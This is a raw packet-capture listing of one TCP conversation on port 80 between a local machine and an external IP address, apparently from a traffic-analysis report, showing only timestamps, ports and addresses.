Nov 17, 2024 04:38:51.212537050 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.213057041 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.213068962 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.213094950 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.213114977 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.213119030 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.213126898 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.213148117 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.213166952 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.242759943 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.242784023 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.242795944 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.242844105 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.242861986 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.242875099 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.242887020 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.242897987 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.242911100 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.242932081 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.243494987 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243506908 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243518114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243529081 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243541956 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.243560076 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.243777037 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243788004 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243799925 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243810892 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243822098 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.243843079 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.243855000 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.243894100 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.244311094 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.244369984 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.244380951 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.244391918 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.244412899 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.244435072 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.284399033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.284413099 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.284531116 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.319329977 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.319343090 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.319411993 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.327267885 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327286005 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327295065 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327306986 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327349901 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.327375889 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.327441931 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327452898 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327490091 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.327532053 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327543974 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327554941 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327565908 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327578068 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327580929 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.327589989 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.327617884 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.327641010 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.328452110 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.328463078 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.328475952 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.328486919 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.328500032 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.328504086 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.328536987 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.357980967 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.357999086 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358012915 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358163118 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.358171940 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358191013 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358203888 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358215094 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358227968 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358233929 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.358238935 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358252048 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358257055 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.358263969 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358289003 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.358315945 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.358944893 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358956099 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.358997107 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.359033108 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359044075 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359055996 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359066010 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359083891 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.359112978 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.359440088 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359535933 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359548092 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359560013 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359572887 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.359587908 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.359612942 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.399446011 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.399473906 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.399683952 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.434493065 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.434623957 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.434973955 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.442363024 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.442384958 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.442397118 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.442419052 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.442445993 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.442467928 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.442478895 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.442491055 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.442522049 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.442523003 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.442536116 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.442572117 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.443015099 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443111897 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443124056 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443134069 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443144083 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443149090 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.443156958 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443164110 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.443196058 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.443730116 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443742037 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443753958 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443764925 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443778992 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.443805933 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.443820953 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.473212957 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473294020 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473313093 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473320961 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.473325968 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473344088 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473352909 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.473357916 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473371029 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473382950 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473383904 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.473407984 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.473697901 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473737001 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.473813057 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473824978 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473838091 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473850012 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473861933 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473864079 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.473872900 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473884106 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.473886013 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.473906040 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.474703074 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.474714994 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.474725962 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.474736929 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.474750042 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.474771976 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.514563084 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.514616966 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.514628887 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.514642000 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.514652014 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.514681101 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.549587965 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.549597979 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.549642086 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.557482958 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557507992 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557521105 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557557106 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.557585001 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.557638884 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557658911 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557670116 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557698965 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.557897091 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557909966 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557923079 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557936907 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.557945967 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.557971954 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.558305025 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558316946 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558335066 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558346033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558348894 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.558357954 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558368921 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.558401108 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.558885098 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558902979 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558916092 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558927059 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558938026 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.558939934 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558953047 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.558970928 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.558996916 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.588326931 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588390112 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588402033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588414907 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588426113 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588493109 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.588526011 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588570118 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.588584900 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588649035 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588660002 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588671923 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.588690996 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.588716030 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.589095116 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589107037 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589118958 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589131117 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589137077 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.589144945 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589179039 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.589576006 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589591980 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589603901 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589613914 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589613914 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.589624882 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.589637995 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.589662075 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.637130976 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.637140036 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.637224913 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.664714098 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.664725065 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.664761066 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.664782047 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.664807081 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.664843082 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.672581911 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.672624111 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.672635078 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.672683001 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.672693968 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.672704935 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.672739029 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.672830105 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.672879934 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.672880888 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.672965050 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673006058 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.673007965 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673019886 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673032045 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673055887 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.673397064 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673405886 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673444033 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.673475981 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673517942 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673527956 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673558950 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.673578978 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673588991 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.673621893 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.673974991 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.674031019 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.674041986 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.674077034 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.674086094 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.674097061 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.674130917 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.703562975 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703573942 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703584909 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703607082 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703629971 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.703648090 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.703739882 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703751087 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703761101 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703771114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703778028 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.703782082 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703793049 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703804016 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703804970 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.703811884 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.703829050 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.703849077 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.704420090 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704430103 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704440117 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704463959 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.704479933 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.704502106 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704513073 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704524040 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704534054 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704544067 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.704545975 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704555988 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704566002 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.704567909 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.704586029 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.745062113 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.745073080 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.745243073 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.779719114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.779742956 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.779804945 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.787806034 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.787817955 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.787830114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.787857056 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.787889004 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.787900925 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.787911892 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.787939072 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.787975073 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.788120985 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788131952 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788141966 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788177967 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.788356066 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788367033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788378000 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788395882 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788403034 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.788417101 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.788664103 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788698912 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:51.788718939 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:51.788729906 CET	80	49713	185.215.113.16	192.168.2.7
